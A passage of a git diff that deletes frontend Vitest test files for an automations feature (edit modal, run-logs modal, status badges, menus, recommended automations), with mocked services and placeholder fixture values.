expect(navigate).toHaveBeenCalledWith("/conversations/task-abc123"), - ); - }); - - it("disables the button while the conversation is being created", async () => { - // Arrange — a never-settling promise keeps the mutation pending. - vi.mocked( - AgentServerConversationService.createConversation, - ).mockReturnValue(new Promise(() => {})); - renderButton(); - - const button = screen.getByTestId("debug-automation-button"); - - // Act - fireEvent.click(button); - - // Assert - await waitFor(() => expect(button).toBeDisabled()); - expect(button).toHaveAttribute("aria-busy", "true"); - }); -}); diff --git a/__tests__/components/automations/detail/edit-automation-modal.test.tsx b/__tests__/components/automations/detail/edit-automation-modal.test.tsx deleted file mode 100644 index e1a51ea50..000000000 --- a/__tests__/components/automations/detail/edit-automation-modal.test.tsx +++ /dev/null @@ -1,449 +0,0 @@ -import { describe, it, expect, vi, beforeEach } from "vitest"; -import { render, screen, waitFor } from "@testing-library/react"; -import userEvent from "@testing-library/user-event"; -import { QueryClient, QueryClientProvider } from "@tanstack/react-query"; - -import { EditAutomationModal } from "#/components/features/automations/detail/edit-automation-modal"; -import AutomationService from "#/api/automation-service/automation-service.api"; -import ProfilesService from "#/api/profiles-service/profiles-service.api"; -import { ActiveBackendProvider } from "#/contexts/active-backend-context"; -import { - __resetActiveStoreForTests, - setActiveSelection, - setRegisteredBackends, -} from "#/api/backend-registry/active-store"; -import { - displaySuccessToast, - displayErrorToast, -} from "#/utils/custom-toast-handlers"; -import type { Automation } from "#/types/automation"; -import type { Backend } from "#/api/backend-registry/types"; - -vi.mock("#/api/automation-service/automation-service.api", () => ({ - default: { - updateAutomation: vi.fn(), - }, -})); - -vi.mock("#/api/profiles-service/profiles-service.api", () => ({ - default: { - listProfiles: vi.fn(), - }, -})); - -vi.mock("#/utils/custom-toast-handlers", () => ({ - displaySuccessToast: vi.fn(), - displayErrorToast: vi.fn(), -})); - -const localBackend: Backend = { - id: "local-1", - name: "Local", - host: "http://localhost:8000", - apiKey: "session-key", - kind: "local", -}; - -const dailyAutomation: Automation = { - id: "auto-1", - name: "Daily digest", - prompt: "Summarize yesterday's PRs", - trigger: { type: "cron", schedule: "0 9 * * *" }, - enabled: true, - created_at: "2026-01-01T00:00:00Z", - updated_at: "2026-01-01T00:00:00Z", - timezone: "America/Los_Angeles", -}; - -const customAutomation: Automation = { - ...dailyAutomation, - id: "auto-2", - name: "Twice daily", - trigger: { type: "cron", schedule: "0 9,17 * * *" }, -}; - -// A schedule automation pinned to a concrete LLM profile, used to exercise -// the profile picker (the base fixtures intentionally leave `model` unset). -const modeledAutomation: Automation = { - ...dailyAutomation, - id: "auto-3", - model: "fast", -}; - -// An automation carrying an explicit run timeout (in seconds). The base -// fixtures intentionally leave `timeout` unset. -const timeoutAutomation: Automation = { - ...dailyAutomation, - id: "auto-4", - timeout: 600, -}; - -const profilesResponse = { - profiles: [ - { - name: "fast", - model: "anthropic/claude-haiku-4-5", - base_url: null, - api_key_set: true, - }, - { - name: "careful", - model: "anthropic/claude-opus-4-8", - base_url: null, - api_key_set: true, - }, - ], - active_profile: "fast", -}; - -function renderModal(automation: Automation) { - const onClose = vi.fn(); - const queryClient = new QueryClient({ - defaultOptions: { queries: { retry: false }, mutations: { retry: false } }, - }); - const utils = render( - - - - - , - ); - return { ...utils, onClose }; -} - -beforeEach(() => { - vi.clearAllMocks(); - __resetActiveStoreForTests(); - setRegisteredBackends([localBackend]); - setActiveSelection({ backendId: localBackend.id }); - // Default to no profiles; tests that exercise the picker override this. - vi.mocked(ProfilesService.listProfiles).mockResolvedValue({ - profiles: [], - active_profile: null, - }); -}); - -describe("EditAutomationModal", () => { - it("pre-fills current values and PATCHes only the fields that changed", async () => { - // Arrange — daily automation at 09:00 with a known prompt. The - // backend will echo back the merged result. - vi.mocked(AutomationService.updateAutomation).mockResolvedValue({ - ...dailyAutomation, - name: "Morning digest", - prompt: "Summarize today's open PRs", - trigger: { type: "cron", schedule: "30 10 * * *" }, - }); - const user = userEvent.setup(); - const { onClose } = renderModal(dailyAutomation); - - // Sanity-check pre-fill: the inputs reflect the existing automation - // before the user edits anything. - const nameInput = screen.getByTestId( - "edit-automation-name", - ) as HTMLInputElement; - const timeInput = screen.getByTestId( - "edit-automation-time", - ) as HTMLInputElement; - expect(nameInput.value).toBe("Daily digest"); - expect(timeInput.value).toBe("09:00"); - - // Act — change name, prompt, and time; leave frequency at Daily. - await user.clear(nameInput); - await user.type(nameInput, "Morning digest"); - const promptInput = screen.getByTestId("edit-automation-prompt"); - await user.clear(promptInput); - await user.type(promptInput, "Summarize today's open PRs"); - await user.clear(timeInput); - await user.type(timeInput, "10:30"); - await user.click(screen.getByTestId("edit-automation-save")); - - // Assert — PATCH body contains exactly the diff (no untouched - // fields like enabled/repository), and the success path closes - // the modal + toasts the user. - await waitFor(() => { - expect(AutomationService.updateAutomation).toHaveBeenCalledTimes(1); - }); - expect(AutomationService.updateAutomation).toHaveBeenCalledWith("auto-1", { - name: "Morning digest", - prompt: "Summarize today's open PRs", - trigger: { type: "cron", schedule: "30 10 * * *" }, - }); - await waitFor(() => { - expect(displaySuccessToast).toHaveBeenCalledTimes(1); - }); - expect(onClose).toHaveBeenCalled(); - }); - - it("blocks submit and shows a validation error when the name is empty", async () => { - // Arrange - const user = userEvent.setup(); - renderModal(dailyAutomation); - - // Act — clear the name and try to save. - const nameInput = screen.getByTestId("edit-automation-name"); - await user.clear(nameInput); - await user.click(screen.getByTestId("edit-automation-save")); - - // Assert — no PATCH fired, inline error appears. - expect(AutomationService.updateAutomation).not.toHaveBeenCalled(); - expect( - screen.getByTestId("edit-automation-name-error"), - ).toBeInTheDocument(); - }); - - it("renders custom-schedule hint and skips schedule mutation for non-preset cron", async () => { - // Arrange — schedule "0 9,17 * * *" is not a Daily/Weekdays/Weekly - // preset; the modal must treat it as read-only for frequency but - // still allow editing the prompt/name. - vi.mocked(AutomationService.updateAutomation).mockResolvedValue( - customAutomation, - ); - const user = userEvent.setup(); - renderModal(customAutomation); - - // The hint surfaces so the user understands why frequency is - // disabled; this is the user-visible signal that we're in - // custom mode. - expect(screen.getByTestId("custom-schedule-hint")).toBeInTheDocument(); - - // Act — change only the name and save. - const nameInput = screen.getByTestId("edit-automation-name"); - await user.clear(nameInput); - await user.type(nameInput, "Renamed"); - await user.click(screen.getByTestId("edit-automation-save")); - - // Assert — the PATCH body does NOT include a trigger override, so - // the user's hand-tuned cron is preserved. - await waitFor(() => { - expect(AutomationService.updateAutomation).toHaveBeenCalledTimes(1); - }); - const [, body] = vi.mocked(AutomationService.updateAutomation).mock - .calls[0]; - expect(body).not.toHaveProperty("trigger"); - expect(body).toMatchObject({ name: "Renamed" }); - }); - - it("surfaces an error toast and keeps the modal open when the update fails", async () => { - // Arrange — backend rejects the PATCH. - vi.mocked(AutomationService.updateAutomation).mockRejectedValue( - new Error("backend down"), - ); - const user = userEvent.setup(); - const { onClose } = renderModal(dailyAutomation); - - // Act — change the time to force a non-empty diff, then save. - const timeInput = screen.getByTestId("edit-automation-time"); - await user.clear(timeInput); - await user.type(timeInput, "10:30"); - await user.click(screen.getByTestId("edit-automation-save")); - - // Assert — error toast fired, modal stays open. - await waitFor(() => { - expect(displayErrorToast).toHaveBeenCalledTimes(1); - }); - expect(onClose).not.toHaveBeenCalled(); - }); - - it("persists the newly selected LLM profile in the update payload", async () => { - // Arrange — automation currently runs on the "fast" profile, with a - // second "careful" profile available to switch to. - vi.mocked(ProfilesService.listProfiles).mockResolvedValue(profilesResponse); - vi.mocked(AutomationService.updateAutomation).mockResolvedValue({ - ...modeledAutomation, - model: "careful", - }); - const user = userEvent.setup(); - const { onClose } = renderModal(modeledAutomation); - - // The picker pre-fills with the automation's current profile once the - // available profiles have loaded. - await waitFor(() => - expect(screen.getByLabelText("AUTOMATIONS$DETAIL$MODEL")).toHaveValue( - "fast", - ), - ); - - // Act — switch to "careful" and save. - await user.click(screen.getByLabelText("AUTOMATIONS$DETAIL$MODEL")); - await user.click(await screen.findByText("careful")); - await user.click(screen.getByTestId("edit-automation-save")); - - // Assert — only the profile changed, so the PATCH carries just `model`. - await waitFor(() => { - expect(AutomationService.updateAutomation).toHaveBeenCalledTimes(1); - }); - expect(AutomationService.updateAutomation).toHaveBeenCalledWith("auto-3", { - model: "careful", - }); - expect(onClose).toHaveBeenCalled(); - }); - - it("resets the LLM profile to active when 'Active profile' is selected", async () => { - // Arrange — automation pinned to "fast"; the backend re-resolves a null - // model back to whatever profile is active. - vi.mocked(ProfilesService.listProfiles).mockResolvedValue(profilesResponse); - vi.mocked(AutomationService.updateAutomation).mockResolvedValue({ - ...modeledAutomation, - model: "fast", - }); - const user = userEvent.setup(); - renderModal(modeledAutomation); - - // The picker pre-fills with the pinned profile once profiles have loaded. - await waitFor(() => - expect(screen.getByLabelText("AUTOMATIONS$DETAIL$MODEL")).toHaveValue( - "fast", - ), - ); - - // Act — clear the pin via the "Active profile" option, then save. - await user.click(screen.getByLabelText("AUTOMATIONS$DETAIL$MODEL")); - await user.click(await screen.findByText("COMMON$ACTIVE_PROFILE")); - await user.click(screen.getByTestId("edit-automation-save")); - - // Assert — the PATCH carries model: null so the backend resets to active. - await waitFor(() => { - expect(AutomationService.updateAutomation).toHaveBeenCalledTimes(1); - }); - expect(AutomationService.updateAutomation).toHaveBeenCalledWith("auto-3", { - model: null, - }); - }); - - it("omits the LLM profile from the payload when it is left unchanged", async () => { - // Arrange — profiles available; the user will only rename the automation. - vi.mocked(ProfilesService.listProfiles).mockResolvedValue(profilesResponse); - vi.mocked(AutomationService.updateAutomation).mockResolvedValue( - modeledAutomation, - ); - const user = userEvent.setup(); - renderModal(modeledAutomation); - - // Ensure we're on the profiles-available path before editing. - await screen.findByLabelText("AUTOMATIONS$DETAIL$MODEL"); - - // Act — change only the name; leave the profile on "fast". - const nameInput = screen.getByTestId("edit-automation-name"); - await user.clear(nameInput); - await user.type(nameInput, "Renamed digest"); - await user.click(screen.getByTestId("edit-automation-save")); - - // Assert — the PATCH renames but does not resend the unchanged profile. - await waitFor(() => { - expect(AutomationService.updateAutomation).toHaveBeenCalledTimes(1); - }); - const [, body] = vi.mocked(AutomationService.updateAutomation).mock - .calls[0]; - expect(body).toMatchObject({ name: "Renamed digest" }); - expect(body).not.toHaveProperty("model"); - }); - - it("hides the LLM profile picker when no profiles are available", async () => { - // Arrange — beforeEach already mocks an empty profile list. - renderModal(dailyAutomation); - - // Assert — once the (empty) profile list resolves, no picker is offered. - await waitFor(() => { - expect( - screen.queryByLabelText("AUTOMATIONS$DETAIL$MODEL"), - ).not.toBeInTheDocument(); - }); - }); - - it("pre-fills the timeout and sends the new value when it changes", async () => { - // Arrange — automation currently times out after 600s. - vi.mocked(AutomationService.updateAutomation).mockResolvedValue({ - ...timeoutAutomation, - timeout: 1800, - }); - const user = userEvent.setup(); - renderModal(timeoutAutomation); - - // Sanity-check pre-fill before editing. - const timeoutInput = screen.getByTestId( - "edit-automation-timeout", - ) as HTMLInputElement; - expect(timeoutInput.value).toBe("600"); - - // Act — raise the timeout to the 1800s maximum and save. - await user.clear(timeoutInput); - await user.type(timeoutInput, "1800"); - await user.click(screen.getByTestId("edit-automation-save")); - - // Assert — the PATCH carries just the new timeout. - await waitFor(() => { - expect(AutomationService.updateAutomation).toHaveBeenCalledTimes(1); - }); - expect(AutomationService.updateAutomation).toHaveBeenCalledWith("auto-4", { - timeout: 1800, - }); - }); - - it("sends timeout: null when the timeout field is cleared", async () => { - // Arrange — automation has an explicit 600s timeout. - vi.mocked(AutomationService.updateAutomation).mockResolvedValue({ - ...timeoutAutomation, - timeout: null, - }); - const user = userEvent.setup(); - renderModal(timeoutAutomation); - - // Act — clear the field to fall back to the server default, then save. - await user.clear(screen.getByTestId("edit-automation-timeout")); - await user.click(screen.getByTestId("edit-automation-save")); - - // Assert — the PATCH resets the stored timeout to null. - await waitFor(() => { - expect(AutomationService.updateAutomation).toHaveBeenCalledTimes(1); - }); - expect(AutomationService.updateAutomation).toHaveBeenCalledWith("auto-4", { - timeout: null, - }); - }); - - it("blocks submit and shows a validation error for an out-of-range timeout", async () => { - // Arrange - const user = userEvent.setup(); - renderModal(timeoutAutomation); - - // Act — enter a timeout beyond the 1800s cap and try to save. - const timeoutInput = screen.getByTestId("edit-automation-timeout"); - await user.clear(timeoutInput); - await user.type(timeoutInput, "2000"); - await user.click(screen.getByTestId("edit-automation-save")); - - // Assert — no PATCH fired, inline error appears. - expect(AutomationService.updateAutomation).not.toHaveBeenCalled(); - expect( - screen.getByTestId("edit-automation-timeout-error"), - ).toBeInTheDocument(); - }); - - it("omits the timeout from the payload when it is left unchanged", async () => { - // Arrange - vi.mocked(AutomationService.updateAutomation).mockResolvedValue( - timeoutAutomation, - ); - const user = userEvent.setup(); - renderModal(timeoutAutomation); - - // Act — rename the automation but leave the timeout at 600. - const nameInput = screen.getByTestId("edit-automation-name"); - await user.clear(nameInput); - await user.type(nameInput, "Renamed digest"); - await user.click(screen.getByTestId("edit-automation-save")); - - // Assert — the PATCH renames but does not resend the unchanged timeout. - await waitFor(() => { - expect(AutomationService.updateAutomation).toHaveBeenCalledTimes(1); - }); - const [, body] = vi.mocked(AutomationService.updateAutomation).mock - .calls[0]; - expect(body).toMatchObject({ name: "Renamed digest" }); - expect(body).not.toHaveProperty("timeout"); - }); -}); diff --git a/__tests__/components/automations/detail/not-found-state.test.tsx b/__tests__/components/automations/detail/not-found-state.test.tsx deleted file mode 100644 index bb9e4d20c..000000000 --- a/__tests__/components/automations/detail/not-found-state.test.tsx +++ /dev/null @@ -1,16 +0,0 @@ -import { render, screen } from "@testing-library/react"; -import { describe, it, expect } from "vitest"; -import { NotFoundState } from "#/components/features/automations/detail/not-found-state"; - -describe("NotFoundState", () => { - it("renders not found state with link back to automations list", () => { - const { container } = render(); - - // Check for the main container - expect(container.querySelector("div")).toBeInTheDocument(); - // Check for the link to go back - const link = screen.getByRole("link"); - expect(link).toBeInTheDocument(); - expect(link).toHaveAttribute("href", "/automations"); - }); -}); diff --git a/__tests__/components/automations/detail/prompt-section.test.tsx b/__tests__/components/automations/detail/prompt-section.test.tsx deleted file mode 100644 index b881c97ba..000000000 --- a/__tests__/components/automations/detail/prompt-section.test.tsx +++ /dev/null @@ -1,55 +0,0 @@ -import { describe, expect, it } from "vitest"; -import React from "react"; -import { render, screen, fireEvent } from "@testing-library/react"; - -import { I18nKey } from "#/i18n/declaration"; -import { PromptSection } from "#/components/features/automations/detail/prompt-section"; - -describe("PromptSection", () => { - it("does not show a toggle for short prompts", () => { - render(); - - expect(screen.getByTestId("automation-prompt-content")).toHaveTextContent( - "Short prompt.", - ); - expect( - screen.queryByTestId("automation-prompt-toggle"), - ).not.toBeInTheDocument(); - expect( - screen.queryByTestId("automation-prompt-fade"), - ).not.toBeInTheDocument(); - }); - - it("collapses long prompts with a fade and expands on toggle", () => { - const longPrompt = Array.from({ length: 40 }, (_, index) => `Line ${index + 1}.`).join( - "\n", - ); - - Object.defineProperty(HTMLElement.prototype, "scrollHeight", { - configurable: true, - get() { - return this.textContent?.includes("Line 40.") ? 480 : 120; - }, - }); - - render(); - - expect(screen.getByTestId("automation-prompt-fade")).toBeInTheDocument(); - expect(screen.getByTestId("automation-prompt-content")).toHaveClass("max-h-60"); - expect(screen.getByTestId("automation-prompt-toggle")).toHaveTextContent( - I18nKey.COMMON$VIEW_MORE, - ); - - fireEvent.click(screen.getByTestId("automation-prompt-toggle")); - - expect( - screen.queryByTestId("automation-prompt-fade"), - ).not.toBeInTheDocument(); - expect(screen.getByTestId("automation-prompt-content")).not.toHaveClass( - "max-h-60", - ); - expect(screen.getByTestId("automation-prompt-toggle")).toHaveTextContent( - I18nKey.COMMON$VIEW_LESS, - ); - }); -}); diff --git a/__tests__/components/automations/detail/run-logs-modal.test.tsx b/__tests__/components/automations/detail/run-logs-modal.test.tsx deleted file mode 100644 index 20a500b0d..000000000 --- a/__tests__/components/automations/detail/run-logs-modal.test.tsx +++ /dev/null @@ -1,332 +0,0 @@ -import { describe, it, expect, vi, beforeEach, afterEach } from "vitest"; -import { render, screen, fireEvent } from "@testing-library/react"; -import { I18nKey } from "#/i18n/declaration"; -import { RunLogsModal } from "#/components/features/automations/detail/run-logs-modal"; -import { AutomationRunStatus, type AutomationRun } from "#/types/automation"; - -const { useBashCommandLogsMock } = vi.hoisted(() => ({ - useBashCommandLogsMock: vi.fn(), -})); - -vi.mock("#/hooks/query/use-bash-command-logs", () => ({ - useBashCommandLogs: useBashCommandLogsMock, -})); - -// The debug button owns its own query/navigation stack; stub it so these tests -// only verify whether the modal chooses to render it. -vi.mock( - "#/components/features/automations/detail/debug-automation-button", - () => ({ - DebugAutomationButton: ({ run }: { run: AutomationRun }) => ( -
- ), - }), -); - -function makeHookResult( - overrides: Partial> = {}, -) { - return { ...baseResult(), ...overrides }; -} - -function baseResult() { - return { - data: undefined as unknown, - error: null as Error | null, - isFetching: false, - isPending: false, - isResolvingConversation: false, - sandboxIssue: null as - | null - | "missing" - | "paused" - | "starting" - | "errored" - | "unreachable", - conversationMissing: false, - }; -} - -beforeEach(() => { - useBashCommandLogsMock.mockReset(); -}); - -afterEach(() => { - vi.clearAllMocks(); -}); - -describe("RunLogsModal", () => { - it("renders nothing when closed", () => { - useBashCommandLogsMock.mockReturnValue(makeHookResult()); - const { container } = render( - {}} - />, - ); - expect(container).toBeEmptyDOMElement(); - }); - - it("uses the 'Logs' title (not 'Run logs')", () => { - useBashCommandLogsMock.mockReturnValue(makeHookResult()); - render( - {}} - />, - ); - // The heading uses the LOGS_TITLE key — in the test environment - // the resolved value IS "Logs" because translation.json's "en" - // entry is "Logs". (The key itself is rendered if the runtime - // can't resolve it; we want the human label.) - expect( - screen.getByRole("heading", { - name: I18nKey.AUTOMATIONS$DETAIL$LOGS_TITLE, - }), - ).toBeInTheDocument(); - }); - - it("shows two tabs (Output, Error) with Output active by default", () => { - useBashCommandLogsMock.mockReturnValue( - makeHookResult({ - data: [ - { - id: "o1", - kind: "BashOutput", - timestamp: "2026-01-01T10:00:00Z", - command_id: "cmd-1", - order: 0, - stdout: "hello", - stderr: null, - }, - ], - }), - ); - render( - {}} - />, - ); - - const tabs = screen.getAllByRole("tab"); - expect(tabs).toHaveLength(2); - expect(tabs[0]).toHaveAttribute("aria-selected", "true"); - expect(tabs[1]).toHaveAttribute("aria-selected", "false"); - }); - - it("concatenates stdout across multiple BashOutput events for the Output tab", () => { - useBashCommandLogsMock.mockReturnValue( - makeHookResult({ - data: [ - { - id: "o2", - kind: "BashOutput", - timestamp: "2026-01-01T10:00:00.200Z", - command_id: "cmd-1", - order: 1, - stdout: "world\n", - stderr: null, - }, - { - id: "o1", - kind: "BashOutput", - timestamp: "2026-01-01T10:00:00.100Z", - command_id: "cmd-1", - order: 0, - stdout: "hello ", - stderr: null, - }, - ], - }), - ); - render( - {}} - />, - ); - // Outputs must be sorted by (timestamp, order), so the - // chronological concatenation is "hello world\n" — proves the - // sort is happening regardless of input order. - expect(screen.getByTestId("run-logs-output-stdout")).toHaveTextContent( - "hello world", - ); - }); - - it("concatenates stderr when the Error tab is selected", () => { - useBashCommandLogsMock.mockReturnValue( - makeHookResult({ - data: [ - { - id: "o1", - kind: "BashOutput", - timestamp: "2026-01-01T10:00:00.100Z", - command_id: "cmd-1", - order: 0, - stdout: "ok\n", - stderr: "err-1\n", - }, - { - id: "o2", - kind: "BashOutput", - timestamp: "2026-01-01T10:00:00.200Z", - command_id: "cmd-1", - order: 1, - stdout: null, - stderr: "err-2\n", - }, - ], - }), - ); - render( - {}} - />, - ); - - const errorTab = screen.getAllByRole("tab")[1]; - fireEvent.click(errorTab); - - expect(errorTab).toHaveAttribute("aria-selected", "true"); - expect(screen.getByTestId("run-logs-output-stderr")).toHaveTextContent( - "err-1 err-2", - ); - }); - - it("shows the loading message while the query is fetching", () => { - useBashCommandLogsMock.mockReturnValue( - makeHookResult({ isFetching: true, data: undefined }), - ); - render( - {}} - />, - ); - expect( - screen.getByText(I18nKey.AUTOMATIONS$DETAIL$LOGS_LOADING), - ).toBeInTheDocument(); - }); - - it.each([ - ["missing", I18nKey.AUTOMATIONS$DETAIL$LOGS_SANDBOX_MISSING], - ["paused", I18nKey.AUTOMATIONS$DETAIL$LOGS_SANDBOX_PAUSED], - ["starting", I18nKey.AUTOMATIONS$DETAIL$LOGS_SANDBOX_STARTING], - ["errored", I18nKey.AUTOMATIONS$DETAIL$LOGS_SANDBOX_ERROR], - ["unreachable", I18nKey.AUTOMATIONS$DETAIL$LOGS_SANDBOX_UNREACHABLE], - ] as const)( - "renders the matching message for sandboxIssue=%s instead of the log output", - (issue, key) => { - useBashCommandLogsMock.mockReturnValue( - makeHookResult({ - sandboxIssue: issue, - // Even if outputs are somehow present in the cache, the - // sandbox-issue branch should still render — the issue - // takes precedence. - data: [ - { - id: "o1", - kind: "BashOutput", - timestamp: "2026-01-01T10:00:00Z", - command_id: "cmd-1", - order: 0, - stdout: "stale", - stderr: null, - }, - ], - }), - ); - render( - {}} - />, - ); - - expect( - screen.getByTestId(`run-logs-sandbox-issue-${issue}`), - ).toHaveTextContent(key); - // The stdout tab should not be rendered when a sandbox issue - // is set — we don't want stale "Output" content competing with - // the empty-state message. - expect( - screen.queryByTestId("run-logs-output-stdout"), - ).not.toBeInTheDocument(); - }, - ); - - it("invokes onClose when Escape is pressed", () => { - useBashCommandLogsMock.mockReturnValue(makeHookResult()); - const onClose = vi.fn(); - render( - , - ); - fireEvent.keyDown(window, { key: "Escape" }); - expect(onClose).toHaveBeenCalledTimes(1); - }); -}); - -describe("RunLogsModal — Debug with OpenHands button", () => { - const makeRun = (status: AutomationRunStatus): AutomationRun => ({ - id: "run-1", - status, - conversation_id: "conv-1", - bash_command_id: "cmd-1", - error_detail: status === AutomationRunStatus.FAILED ? "boom" : null, - started_at: "2026-01-01T10:00:00Z", - completed_at: "2026-01-01T10:02:00Z", - }); - - it("renders the debug button for a failed run", () => { - useBashCommandLogsMock.mockReturnValue(makeHookResult()); - render( - {}} - run={makeRun(AutomationRunStatus.FAILED)} - />, - ); - expect( - screen.getByTestId("debug-automation-button-stub"), - ).toBeInTheDocument(); - }); - - it("does not render the debug button for a successful run", () => { - useBashCommandLogsMock.mockReturnValue(makeHookResult()); - render( - {}} - run={makeRun(AutomationRunStatus.COMPLETED)} - />, - ); - expect( - screen.queryByTestId("debug-automation-button-stub"), - ).not.toBeInTheDocument(); - }); -}); diff --git a/__tests__/components/automations/detail/run-status-badge.test.tsx b/__tests__/components/automations/detail/run-status-badge.test.tsx deleted file mode 100644 index afeab3abf..000000000 --- a/__tests__/components/automations/detail/run-status-badge.test.tsx +++ /dev/null @@ -1,32 +0,0 @@ -import { render, screen } from "@testing-library/react"; -import { describe, it, expect } from "vitest"; -import { RunStatusBadge } from "#/components/features/automations/detail/run-status-badge"; -import { AutomationRunStatus } from "#/types/automation"; -import { I18nKey } from "#/i18n/declaration"; - -describe("RunStatusBadge", () => { - it.each([ - [AutomationRunStatus.COMPLETED, I18nKey.AUTOMATIONS$DETAIL$SUCCESSFUL], - [AutomationRunStatus.FAILED, I18nKey.AUTOMATIONS$DETAIL$FAILED], - [AutomationRunStatus.PENDING, I18nKey.AUTOMATIONS$DETAIL$PENDING], - [AutomationRunStatus.RUNNING, I18nKey.AUTOMATIONS$DETAIL$RUNNING], - ])("renders the %s label for the matching status", (status, labelKey) => { - render(); - - expect(screen.getByText(labelKey)).toBeInTheDocument(); - }); - - it.each([ - [AutomationRunStatus.COMPLETED, "run-status-icon-completed"], - [AutomationRunStatus.FAILED, "run-status-icon-failed"], - [AutomationRunStatus.PENDING, "run-status-icon-pending"], - [AutomationRunStatus.RUNNING, "run-status-icon-pending"], - ])( - "renders the %s icon variant for the matching status", - (status, testId) => { - render(); - - expect(screen.getByTestId(testId)).toBeInTheDocument(); - }, - ); -}); diff --git a/__tests__/components/automations/detail/section-card.test.tsx b/__tests__/components/automations/detail/section-card.test.tsx deleted file mode 100644 index 087da2e67..000000000 --- a/__tests__/components/automations/detail/section-card.test.tsx +++ /dev/null @@ -1,17 +0,0 @@ -import { render, screen } from "@testing-library/react"; -import { describe, it, expect } from "vitest"; -import { SectionCard } from "#/components/features/automations/detail/section-card"; - -describe("SectionCard", () => { - it("renders the title and children content", () => { - render( - } title="Test Section"> -

{String("Section content")}

-
, - ); - - expect(screen.getByText("Test Section")).toBeInTheDocument(); - expect(screen.getByText("Section content")).toBeInTheDocument(); - expect(screen.getByTestId("icon")).toBeInTheDocument(); - }); -}); diff --git a/__tests__/components/automations/error-state.test.tsx b/__tests__/components/automations/error-state.test.tsx deleted file mode 100644 index c5b22ef37..000000000 --- a/__tests__/components/automations/error-state.test.tsx +++ /dev/null @@ -1,25 +0,0 @@ -import { render, screen } from "@testing-library/react"; -import userEvent from "@testing-library/user-event"; -import { vi, describe, it, expect } from "vitest"; -import { ErrorState } from "#/components/features/automations/error-state"; - -describe("ErrorState", () => { - it("renders error icon and retry button", () => { - const { container } = render(); - - // Check for the error icon (ExclamationCircleIcon) - expect(container.querySelector("svg")).toBeInTheDocument(); - // Check for the retry button - expect(screen.getByRole("button")).toBeInTheDocument(); - }); - - it("calls onRetry when retry button is clicked", async () => { - const onRetry = vi.fn(); - const user = userEvent.setup(); - render(); - - await user.click(screen.getByRole("button")); - - expect(onRetry).toHaveBeenCalledOnce(); - }); -}); diff --git a/__tests__/components/automations/kebab-menu.test.tsx b/__tests__/components/automations/kebab-menu.test.tsx deleted file mode 100644 index 686c6bfa1..000000000 --- a/__tests__/components/automations/kebab-menu.test.tsx +++ /dev/null @@ -1,20 +0,0 @@ -import { render, screen, fireEvent } from "@testing-library/react"; -import { describe, it, expect, vi } from "vitest"; -import { KebabMenu } from "#/components/features/automations/kebab-menu"; - -describe("KebabMenu", () => { - it("opens the menu and invokes an item's onClick when selected", async () => { - const onClick = vi.fn(); - render( - , onClick }]} />, - ); - - // Open the menu, then select the item (rendered via KebabMenuItemContent). - fireEvent.click( - screen.getByRole("button", { name: "AUTOMATIONS$ACTIONS_MENU" }), - ); - fireEvent.click(await screen.findByText("Delete")); - - expect(onClick).toHaveBeenCalledTimes(1); - }); -}); diff --git a/__tests__/components/automations/metadata-chip.test.tsx b/__tests__/components/automations/metadata-chip.test.tsx deleted file mode 100644 index 8b0b3501c..000000000 --- a/__tests__/components/automations/metadata-chip.test.tsx +++ /dev/null @@ -1,17 +0,0 @@ -import { render, screen } from "@testing-library/react"; -import { describe, it, expect } from "vitest"; -import { MetadataChip } from "#/components/features/automations/metadata-chip"; - -describe("MetadataChip", () => { - it("renders the label and icon", () => { - render( - } - label="acme/frontend-app" - />, - ); - - expect(screen.getByText("acme/frontend-app")).toBeInTheDocument(); - expect(screen.getByTestId("chip-icon")).toBeInTheDocument(); - }); -}); diff --git a/__tests__/components/automations/recommended-automations.test.tsx b/__tests__/components/automations/recommended-automations.test.tsx deleted file mode 100644 index 87a597fc5..000000000 --- a/__tests__/components/automations/recommended-automations.test.tsx +++ /dev/null @@ -1,506 +0,0 @@ -import { QueryClient, QueryClientProvider } from "@tanstack/react-query"; -import { - fireEvent, - render, - screen, - waitFor, - within, -} from "@testing-library/react"; -import { afterEach, beforeEach, describe, expect, it, vi } from "vitest"; -import SettingsService from "#/api/settings-service/settings-service.api"; -import McpService from "#/api/mcp-service/mcp-service.api"; -import { I18nKey } from "#/i18n/declaration"; -import { getConversationState } from "#/utils/conversation-local-storage"; -import { - __resetActiveStoreForTests, - setActiveSelection, - setRegisteredBackends, -} from "#/api/backend-registry/active-store"; -import { ActiveBackendProvider } from "#/contexts/active-backend-context"; -import type { Backend } from "#/api/backend-registry/types"; -import { - RecommendedAutomationsLauncher, - buildAutomationPrompt, -} from "#/components/features/automations/recommended-automations-launcher"; -import { - RecommendedAutomationsSection, - getAutomationsByPopularity, -} from "#/components/features/automations/recommended-automations-section"; -import { - AUTOMATION_CATALOG, - type RecommendedAutomation, -} from "@openhands/extensions/automations"; - -const { mockCreateConversationMutate, mockUseSettings } = vi.hoisted(() => ({ - mockCreateConversationMutate: vi.fn(), - mockUseSettings: vi.fn(), -})); - -vi.mock("react-i18next", () => ({ - useTranslation: () => ({ - t: (key: string, vars?: Record) => { - if (vars?.name) return `${key}:${String(vars.name)}`; - if (vars?.count != null) return `${key}:${String(vars.count)}`; - return key; - }, - }), -})); - -vi.mock("#/hooks/mutation/use-create-conversation", () => ({ - useCreateConversation: () => ({ - mutate: mockCreateConversationMutate, - isPending: false, - }), -})); - -vi.mock("#/hooks/query/use-settings", () => ({ - useSettings: () => mockUseSettings(), -})); - -const localBackend: Backend = { - id: "local-backend", - name: "Local", - host: "http://localhost:8000", - apiKey: "", - kind: "local", -}; - -const GITHUB_HOSTED_MCP_URL = "https://api.githubcopilot.com/mcp/"; - -const cloudBackend: Backend = { - id: "cloud-backend", - name: "Cloud", - host: "https://staging.all-hands.dev/", - apiKey: "cloud-token", - kind: "cloud", -}; - -function renderLauncher({ withBackendProvider = false } = {}) { - const queryClient = new QueryClient({ - defaultOptions: { queries: { retry: false }, mutations: { retry: false } }, - }); - - const launcher = ; - - return render( - - {withBackendProvider ? ( - {launcher} - ) : ( - launcher - )} - , - ); -} - -function settingsWithMcpConfig(mcp_config: unknown) { - return { - agent_settings: { - mcp_config, - }, - }; -} - -function settingsWithGithubMcp() { - return settingsWithMcpConfig({ - github: { - url: GITHUB_HOSTED_MCP_URL, - auth: { strategy: "bearer", value: "github-token" }, - }, - }); -} - -describe("recommended automations", () => { - beforeEach(() => { - vi.clearAllMocks(); - localStorage.clear(); - __resetActiveStoreForTests(); - setRegisteredBackends([localBackend]); - setActiveSelection({ backendId: localBackend.id }); - mockUseSettings.mockReturnValue({ - data: settingsWithMcpConfig({}), - }); - // Pre-flight connectivity test must pass so save mutations 